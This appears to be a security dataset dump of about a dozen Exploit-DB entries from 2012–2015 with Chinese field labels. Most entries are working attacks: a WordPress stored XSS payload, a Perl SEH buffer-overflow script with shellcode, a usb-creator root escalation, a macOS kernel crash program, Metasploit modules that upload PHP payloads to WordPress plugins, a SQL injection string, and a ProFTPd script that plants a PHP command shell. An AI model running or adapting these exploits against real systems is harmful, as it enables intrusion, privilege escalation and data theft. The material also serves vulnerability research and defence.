QLWD/code_shield huggingface dataset:
标题: WordPress Core 4.2 - Persistent Cross-Site Scripting EDB-ID: 36844 CVE: 2015-3440 类型: WEBAPPS 平台: PHP 发布日期: 2015-04-27 漏洞利用脚本: Source: http://klikki.fi/adv/wordpress2.html


## Overview
Current versions of WordPress are vulnerable to a stored XSS.  An unauthenticated attacker can inject JavaScript in 
WordPress comments. The script is triggered when the comment is viewed.

If triggered by a logged-in administrator, under default settings the attacker can leverage the vulnerability to 
execute arbitrary code on the server via the plugin and theme editors.

Alternatively the attacker could change the administrator’s password, create new administrator accounts, 
or do whatever else the currently logged-in administrator can do on the target system.



## Details
If the comment text is long enough, it will be truncated when inserted in the database. 
The MySQL TEXT type size limit is 64 kilobytes, so the comment has to be quite long.

The truncation results in malformed HTML generated on the page. 
The attacker can supply any attributes in the allowed HTML tags, in the same way 
as with the two recently published stored XSS vulnerabilities affecting the WordPress core.

The vulnerability bears a similarity to the one reported by Cedric Van Bockhaven in 
2014 (patched this week, after 14 months). Instead of using an invalid character to truncate 
the comment, this time an excessively long comment is used for the same effect.

In these two cases, the injected JavaScript apparently can't be triggered in the 
administrative Dashboard so these exploits seem to require getting around comment 
moderation e.g. by posting one harmless comment first.

The similar vulnerability released by Klikki in November 2014 could be exploited in the 
administrative Dashboard while the comment is still in the moderation queue. Some 
exploit attempts of this have been recently reported in the wild.



## Proof of Concept
Enter as a comment text:

  <a title='x onmouseover=alert(unescape(/hello%20world/.source)) style=position:absolute;left:0;top:0;width:5000px;height:5000px  AAAAAAAAAAAA...[64 kb]..AAA'></a>

Confirmed vulnerable: WordPress 4.2, 4.1.2, 4.1.1, 3.9.3. 
Tested with MySQL versions 5.1.53 and 5.5.41.



## Demo
https://www.youtube.com/watch?v=OCqQZJZ1Ie4 URL: https://www.exploit-db.com/exploits/36844
标题: Endian Firewall 2.4 - 'dnat.cgi?createrule' Cross-Site Scripting EDB-ID: 36832 CVE: 2012-4923 类型: REMOTE 平台: HARDWARE 发布日期: 2012-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/52076/info
 
Endian Firewall is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.
 
https://www.example.com/cgi-bin/dnat.cgi#createrule[XSS] URL: https://www.exploit-db.com/exploits/36832
标题: Impulsio CMS - 'id' SQL Injection EDB-ID: 36830 CVE: 2012-1294 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/52063/info

Impulsio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?id=[SQL] URL: https://www.exploit-db.com/exploits/36830
标题: Free MP3 CD Ripper 2.6 2.8 - '.wav' File Buffer Overflow (SEH) EDB-ID: 36826 CVE: 2011-5165 类型: LOCAL 平台: WINDOWS 发布日期: 2015-04-23 漏洞利用脚本: #!/usr/bin/env perl
# original p0c https://www.exploit-db.com/exploits/36465/
# credit to TUNISIAN CYBER
# however he was attemping to vanilla buffer overflow 
# in fact it is SEH based exploit 
# using the address 0x7C9D30D7 is limit the targets
#which I assume belongs to OS file didn't work on win7
#yes he did find a buffer overflow since the offset reaches ESP before SEH
#in this app,  SEH based exploits are more effective and the main vuln in this case should be SEH
#This p0c > win 7s & 8s
# ThreatActor at CoreRed.com 
##

my $file = "p0c.wav";
my $buff = "A" x 4116; # offset to SEH
my $nseh = "\xeb\x06\xff\xff"; #dat 8 jmp
my $seh = pack('V', 0x66E42A79); # 66E42A79 5E  POP ESI ogg.dll
my $nop = "\x90" x 28;

#msfvenom -p windows/exec CMD=calc.exe -f perl -b '\x00\xff\x0a\x0d'
my $shell = 
"\xda\xcd\xd9\x74\x24\xf4\xb8\x50\x99\x22\x39\x5b\x33\xc9" .
"\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\x44\x7b\xd7\xc5" .
"\x8c\xf9\x18\x36\x4c\x9e\x91\xd3\x7d\x9e\xc6\x90\x2d\x2e" .
"\x8c\xf5\xc1\xc5\xc0\xed\x52\xab\xcc\x02\xd3\x06\x2b\x2c" .
"\xe4\x3b\x0f\x2f\x66\x46\x5c\x8f\x57\x89\x91\xce\x90\xf4" .
"\x58\x82\x49\x72\xce\x33\xfe\xce\xd3\xb8\x4c\xde\x53\x5c" .
"\x04\xe1\x72\xf3\x1f\xb8\x54\xf5\xcc\xb0\xdc\xed\x11\xfc" .
"\x97\x86\xe1\x8a\x29\x4f\x38\x72\x85\xae\xf5\x81\xd7\xf7" .
"\x31\x7a\xa2\x01\x42\x07\xb5\xd5\x39\xd3\x30\xce\x99\x90" .
"\xe3\x2a\x18\x74\x75\xb8\x16\x31\xf1\xe6\x3a\xc4\xd6\x9c" .
"\x46\x4d\xd9\x72\xcf\x15\xfe\x56\x94\xce\x9f\xcf\x70\xa0" .
"\xa0\x10\xdb\x1d\x05\x5a\xf1\x4a\x34\x01\x9f\x8d\xca\x3f" .
"\xed\x8e\xd4\x3f\x41\xe7\xe5\xb4\x0e\x70\xfa\x1e\x6b\x8e" .
"\xb0\x03\xdd\x07\x1d\xd6\x5c\x4a\x9e\x0c\xa2\x73\x1d\xa5" .
"\x5a\x80\x3d\xcc\x5f\xcc\xf9\x3c\x2d\x5d\x6c\x43\x82\x5e" .
"\xa5\x20\x45\xcd\x25\x89\xe0\x75\xcf\xd5";

open($FILE,">$file");
print $FILE $buff.$nseh.$seh.$nop.$shell;
close($FILE);
print "+++++++++++++++++++\n"; URL: https://www.exploit-db.com/exploits/36826
标题: R2/Extreme 1.65 - Stack Buffer Overflow / Directory Traversal EDB-ID: 36829 CVE: 2012-1221 类型: REMOTE 平台: WINDOWS 发布日期: 2012-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/52061/info

R2/Extreme is prone to a stack-based buffer-overflow vulnerability and a directory-traversal vulnerability.

Exploiting these issues may allow remote attackers to execute arbitrary code or retrieve arbitrary files within the context of the affected application.

R2/Extreme 1.65 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36829.zip URL: https://www.exploit-db.com/exploits/36829
标题: usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation EDB-ID: 36820 CVE: 2015-3643 类型: LOCAL 平台: LINUX 发布日期: 2015-04-23 漏洞利用脚本: Source: http://www.openwall.com/lists/oss-security/2015/04/22/12
Bug report: https://bugs.launchpad.net/ubuntu/vivid/+source/usb-creator/+bug/1447396

Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu    (Patched in: 0.2.38.3ubuntu0.1)
Ubuntu Trusty  (14.04LTS) <= usb-creator 0.2.56.3ubuntu     (Patched in: 0.2.56.3ubuntu0.1)
Ubuntu Utopic  (14.10) <= usb-creator 0.2.62ubuntu0.2         (Patched in: 0.2.62ubuntu0.3)

$ cat > test.c
void __attribute__((constructor)) init (void)
{
chown("/tmp/test", 0, 0);
chmod("/tmp/test", 04755);
}
^D
$ gcc -shared -fPIC -o /tmp/test.so test.c
$ cp /bin/sh /tmp/test
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
$ ls -l /tmp/test
-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
$ /tmp/test
# id
euid=0(root) groups=0(root) URL: https://www.exploit-db.com/exploits/36820
标题: BlueDragon CFChart Servlet 7.1.1.17759 - Arbitrary File Retrieval/Deletion EDB-ID: 36815 CVE: 2014-5370 类型: WEBAPPS 平台: CFM 发布日期: 2015-04-21 漏洞利用脚本: Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet
CVE: CVE-2014-5370
Vendor: New Atlanta
Product: BlueDragon CFChart Servlet
Affected version: 7.1.1.17759
Fixed version: 7.1.1.18527
Reported by: Mike Westmacott
Details:

The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances the retrieved file is also deleted.

Exploit:

In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server:


http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE

The browser will display a broken image, however the HTTP response will contain the file’s contents.

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/36815
标题: Apple Mac OSX - Local Denial of Service EDB-ID: 36814 CVE: 2015-1100 类型: DOS 平台: OSX 发布日期: 2015-04-21 漏洞利用脚本: /*
 * 2015, Maxime Villard, CVE-2015-1100
 * Local DoS caused by a missing limit check in the fat loader of the Mac OS X
 * Kernel.
 *
 *  $ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c
 *  $ ./Mac-OS-X_Fat-DoS BINARY-NAME
 *
 * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c
 * Analysis:      http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <spawn.h>
#include <unistd.h>
#include <err.h>
#include <mach-o/fat.h>
#include <sys/stat.h>

#define MAXNUM (4096)
#define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM))

void CraftBinary(char *name)
{
  struct fat_header fat_header;
  struct fat_arch *arches;
  size_t i;
  int fd;

  memset(&fat_header, 0, sizeof(fat_header));
  fat_header.magic = FAT_MAGIC;
  fat_header.nfat_arch = 4096;

  if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL)
    err(-1, "calloc");
  for (i = 0; i < MAXNUM0; i++)
    arches[i].cputype = CPU_TYPE_I386;

  if ((fd = open(name, O_CREAT|O_RDWR)) == -1)
    err(-1, "open");
  if (write(fd, &fat_header, sizeof(fat_header)) == -1)
    err(-1, "write");
  if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1)
    err(-1, "write");
  if (fchmod(fd, S_IXUSR) == -1)
    err(-1, "fchmod");
  close(fd);
  free(arches);
}

void SpawnBinary(char *name)
{
  cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 };
  char *argv[] = { "Crazy Horse", NULL };
  char *envp[] = { NULL };
  posix_spawnattr_t attr;  
  size_t set = 0;
  int ret;

  if (posix_spawnattr_init(&attr) == -1)
    err(-1, "posix_spawnattr_init");
  if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1)
    err(-1, "posix_spawnattr_setbinpref_np");
  fprintf(stderr, "----------- Goodbye! -----------\n");
  ret = posix_spawn(NULL, name, NULL, &attr, argv, envp);
  fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret);
}

int main(int argc, char *argv[])
{
  if (argc != 2) {
    printf("Usage: %s BINARY-NAME\n", argv[0]);
  } else {
    CraftBinary(argv[1]);
    SpawnBinary(argv[1]);
  }
} URL: https://www.exploit-db.com/exploits/36814
标题: ADB - Backup Archive File Overwrite Directory Traversal EDB-ID: 36813 CVE: 2014-7951 类型: LOCAL 平台: HARDWARE 发布日期: 2015-04-21 漏洞利用脚本: ADB backup archive path traversal file overwrite   
------------------------------------------------

Using adb one can create a backup of his/her Android device and store it
on the PC. The backup archive is based on the tar file format.

By modifying tar headers to contain ../../ like patterns it is possible
to overwrite files owned by the system user on writeable partitions.


An example pathname in the tar header:
apps/com.android.settings/sp/../../../../data/system/evil.txt
Tar header checksum must be corrected of course.

When restoring the modified archive the BackupManagerService overwrites
the resolved file name, since file name is not sanitized.

Bugfix in the version control:
https://android.googlesource.com/platform/frameworks/base/+/7bc601d%5E!/#F0


Android 5 (Lollipop) and newer versions are not affected (due to the
official bugfix linked above).


Additional conditions for exploiting on pre-Lollipop systems:

- Partition of the desination file must be mounted as writeable (eg.
/system won't work, but /data does)

- It is not possible to overwrite files owned by root, since the process
doing the restore is running as the same user as the package itself and
Android packages cannot run.

- It is not possible to overwrite files owned by system user since AOSP
4.3 due to Id6a0cb4c113c2e4a8c4605252cffa41bea22d8a3, a new hardening
was introduced "... ignoring non-agent system package ".
(If the operating system is custom and there is a system package
available with a full backup agent specified explicitly, then that
custom Android 4.3 and 4.4 might be affected too.)

Pre 4.3 AOSP systems are affected without further conditions: it is
possible to overwrite files owned by the system user or any other
packages installed on the system.



Tested on:      Android 4.0.4:
Reported on:    2014-07-14
Assigned CVE:   CVE-2014-7951
Android bug id: 16298491
Discovered by:  Imre Rad / Search-Lab Ltd.
                http://www.search-lab.hu
                http://www.securecodingacademy.com/ URL: https://www.exploit-db.com/exploits/36813
标题: WordPress Plugin Creative Contact Form - Arbitrary File Upload (Metasploit) EDB-ID: 36811 CVE: 2014-8739 类型: REMOTE 平台: PHP 发布日期: 2015-04-21 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress Creative Contact Form Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the WordPress Creative Contact
        Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution.
      },
      'Author'         =>
        [
          'Gianni Angelozzi', # Vulnerability discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '35057'],
          ['OSVDB', '113669'],
          ['WPVDB', '7652']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Creative Contact Form 0.9.7', {}]],
      'DisclosureDate' => 'Oct 22 2014',
      'DefaultTarget'  => 0)
    )
  end

  def check
    check_plugin_version_from_readme('sexy-contact-form', '1.0.0')
  end

  def exploit
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    res = send_request_cgi({
      'uri'       => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'index.php'),
      'method'    => 'POST',
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => post_data
    })

    if res
      if res.code == 200 && res.body =~ /files|#{php_pagename}/
        print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
        register_files_for_cleanup(php_pagename)
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'ERROR')
    end

    print_status("#{peer} - Calling payload...")
    send_request_cgi(
      'uri'       => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'files', php_pagename)
    )
  end
end URL: https://www.exploit-db.com/exploits/36811
标题: WordPress Plugin Tune Library 1.5.4 - SQL Injection EDB-ID: 36802 CVE: 2015-3314 类型: WEBAPPS 平台: PHP 发布日期: 2015-04-21 漏洞利用脚本: =======================================================================
              title: SQL Injection
            product: WordPress Tune Library Plugin
 vulnerable version: 1.5.4 (and probably below)
      fixed version: 1.5.5
         CVE number: CVE-2015-3314
             impact: CVSS Base Score 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)
           homepage: https://wordpress.org/plugins/tune-library/
              found: 2015-01-09
                 by: Hannes Trunde
                     
               mail: hannes.trunde@gmail.com
            twitter: @hannestrunde

=======================================================================


Plugin description:
-------------------
"This plugin is used to import an XML iTunes Music Library file into your 
WordPress database. Once imported, you can display a complete listing of your 
music collection on a page of your WordPress site."

Source: https://wordpress.org/plugins/tune-library/


Recommendation:
---------------
The author has provided a fixed plugin version which should be installed 
immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a sql injection attack can be
performed when sorting artists by letter.

However, special conditions must be met in order to exploit this vulnerability:
1) The wordpress security feature wp_magic_quotes(), which is enabled by 
   default, has to be disabled.
2) The plugin specific option "Filter artists by letter and show alphabetical
   navigation" has to be enabled.

   
Proof of concept:
-----------------
The following HTTP request to the Tune Library page returns version, current 
user and db name:
===============================================================================
http://www.site.com/?page_id=2&artistletter=G' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20
===============================================================================


Contact timeline:
------------------------
2015-04-08: Contacting author via mail.
2015-04-09: Author replies and announces a fix within a week.
2015-04-12: Mail from author, stating that plugin has been updated.
2015-04-14: Requesting CVE via post to the open source software security mailing 
            list: http://openwall.com/lists/oss-security/2015/04/14/5
2015-04-20: Release of security advisory.


Solution:
---------
Update to the most recent plugin version.


Workaround:
-----------
Make sure that wp_magic_quotes() is enabled and/or disable "Filter artists by
letter..." option. URL: https://www.exploit-db.com/exploits/36802
标题: WordPress Plugin Reflex Gallery - Arbitrary File Upload (Metasploit) EDB-ID: 36809 CVE: 2015-4133 类型: REMOTE 平台: PHP 发布日期: 2015-04-21 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress Reflex Gallery Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
        version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
      },
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '36374'],
          ['OSVDB', '88853'],
          ['WPVDB', '7867']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Reflex Gallery 3.1.3', {}]],
      'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.
      'DefaultTarget'  => 0)
    )
  end

  def check
    check_plugin_version_from_readme('reflex-gallery', '3.1.4')
  end

  def exploit
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    time = Time.new
    year = time.year.to_s
    month = "%02d" % time.month

    res = send_request_cgi({
      'uri'       => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
      'method'    => 'POST',
      'vars_get'  => {
        'Year'    => "#{year}",
        'Month'   => "#{month}"
      },
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => post_data
    })

    if res
      if res.code == 200 && res.body =~ /success|#{php_pagename}/
        print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
        register_files_for_cleanup(php_pagename)
      else
        fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    print_status("#{peer} - Calling payload...")
    send_request_cgi(
      'uri'       => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)
    )
  end
end URL: https://www.exploit-db.com/exploits/36809
标题: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution EDB-ID: 36803 CVE: 2015-3306 类型: REMOTE 平台: LINUX 发布日期: 2015-04-21 漏洞利用脚本: # Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += "  ___        __        ____                 _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
    print '\n Usage : exploit.py server directory cmd'
else:
 server = sys.argv[1] #Vulnerable Server
 directory = sys.argv[2] # Path accessible from web .....
 cmd = sys.argv[3] #PHP payload to be executed
 evil = '<?php system("' + cmd + '") ?>'
 s.connect((server, 21))
 s.recv(1024)
 print '[ + ] Connected to server [ + ] \n'
 s.send('site cpfr /etc/passwd')
 s.recv(1024)
 s.send('site cpto ' + evil)
 s.recv(1024)
 s.send('site cpfr /proc/self/fd/3')
 s.recv(1024)
 s.send('site cpto ' + directory + 'infogen.php')
 s.recv(1024)
 s.close()
 print '[ + ] Payload sended [ + ]\n'
 print '[ + ] Executing Payload [ + ]\n'
 r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
 if (r.status_code == 200):
  print '[ * ] Payload Executed Succesfully [ * ]'
 else:
  print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'
  
print '\n http://infogen.al/' URL: https://www.exploit-db.com/exploits/36803